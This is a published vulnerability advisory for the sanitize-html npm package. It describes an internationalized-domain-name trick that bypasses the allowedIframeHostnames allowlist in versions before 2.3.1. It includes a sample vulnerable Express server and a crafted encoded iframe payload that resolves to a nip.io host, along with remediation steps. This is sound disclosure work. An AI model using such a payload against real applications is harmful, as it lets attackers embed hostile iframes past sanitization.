Validation Bypass In Sanitize-Html Using IDN

VALIDATION-BYPASS NODEJS JAVASCRIPT NPM IDN

 Ron Masas Feb 28, 2021

Details Overview

Summary

sanitize-html before 2.3.1 does not properly handle internationalized domain name (IDN) which could allow an attacker to bypass hostname whitelist validation set by the `allowedIframeHostnames` option.
The vulnerability root cause was the use of the deprecated NodeJS `url` package to parse and validate the hostname. The issue was fixed by migrating to the WHATWG URL API instead.

Product

sanitize-html before 2.3.1

Impact

Depending on library usage and attacker intent, impacts may include allow/block list bypasses, open redirects, or other undesired behavior.

Steps To Reproduce

1. Install vulnerable version by running `npm i sanitize-html@2.3.0`
2. Write the following to a `server.js` file

```
const express = require("express");
const sanitizeHtml = require("sanitize-html");

const app = express();

app.get("/", (req, res) => {
    const clean = sanitizeHtml(req.query.dirty, {
        allowedTags: ["iframe"],
        allowedAttributes: {
            "iframe": ["src"]
        },
        allowedIframeHostnames: ["www.youtube.com"]
    });
    res.end(clean);
});

app.listen(8080);
```

3. Start the server and bypass the hostname validation by sending the following request `http://localhost:8080/?dirty=%3Ciframe%20src=//www.youtube.com%25C3%259E.93.184.216.34.nip.io%3E`

Expected Result:

The iframe should load `http://www.youtube.xn--com-roa.93.184.216.34.nip.io/` which currently points to a 404 error page.

Remediation

Update sanitize-html dependency to 2.3.1 or above.

Credit

This issue was discovered and reported by Security Researcher @ronmasas (Ron Masas).

Resources

1. Commit ca4b62a